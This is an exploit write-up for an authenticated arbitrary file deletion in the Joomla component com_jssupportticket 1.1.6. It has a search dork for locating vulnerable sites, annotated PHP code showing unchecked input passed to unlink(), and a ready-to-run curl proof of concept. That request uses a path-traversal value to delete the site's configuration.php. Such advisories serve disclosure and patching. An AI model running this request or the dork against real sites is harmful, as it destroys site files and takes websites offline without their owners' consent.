#Exploit Title: Joomla! component com_jssupportticket - Authenticated Arbitrary File Deletion
#Dork: inurl:"index.php?option=com_jssupportticket"
#Date: 10.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/46/download/1.html
#Version: 1.1.6
#Tested on: Debian/nginx/joomla 3.9.0
#####################################
#Vulnerability details:
#####################################
This vulnerability is caused when processing custom user field.

file:  admin/models/ticket.php
function:  storeTicket

    54      function storeTicket($data){
    ...snip...
    75          $userfield = $this->getJSModel('userfields')->getUserfieldsfor(1);
    76          $params = array();
    77    foreach ($userfield AS $ufobj) {
    78        $vardata = '';
    ...snip...
   121      if(isset($data[$ufobj->field.'_1']) && $data[$ufobj->field.'_1'] == 1){
   122                  $customflagfordelete = true;
   123      $custom_field_namesfordelete[]= $data[$ufobj->field.'_2'];  //no check.
     ...snip...
   198          if($customflagfordelete == true){
   199      foreach ($custom_field_namesfordelete as $key) {
   200                  $res = $this->removeFileCustom($ticketid,$key);  //!!!
   201              }
   202          }
   ...snip...
  1508      function removeFileCustom($id, $key){
  1509          $filename = str_replace(' ', '_', $key);
  1510  
  1511          if(! is_numeric($id))
  1512              return;
  1513  
  1514          $db = JFactory::getDbo();
  1515          $config = $this->getJSModel('config')->getConfigByFor('default');
  1516          $datadirectory = $config['data_directory'];
  1517  
  1518          $base = JPATH_BASE;
  1519          if(JFactory::getApplication()->isAdmin()){
  1520              $base = substr($base, 0, strlen($base) - 14); //remove administrator    
  1521          }
  1522  
  1523          $path = $base . '/' . $datadirectory. '/attachmentdata/ticket';
  1524  
  1525          $query = "SELECT attachmentdir FROM `#__js_ticket_tickets` WHERE id = ".$id;
  1526          $db->setQuery($query);
  1527          $foldername = $db->loadResult();
  1528          $userpath = $path . '/' . $foldername.'/'.$filename;
  1529          unlink($userpath);  //!!!
  1530          return;
  1531      }

#####################################
#PoC:
#####################################
When administrator has added custom user field as "19", attacker are can trigger this vulnerability by send a following request.

$> curl -X POST -i -F 'option=com_jssupportticket' -F 'c=ticket' -F 'task=saveTicket' -F '{VALID_FORMTOKEN_FROM_FORMTICKET}=1' -F 'Itemid=666' -F 'id=' -F 'message=woot' -F '19_1=1' -F '19_2=../../../../configuration.php' -F 'filename[]=@./woot.txt' -H 'Cookie: VALID_SESSION_ID=VALID_SESSION_ID' 'http://localhost/index.php'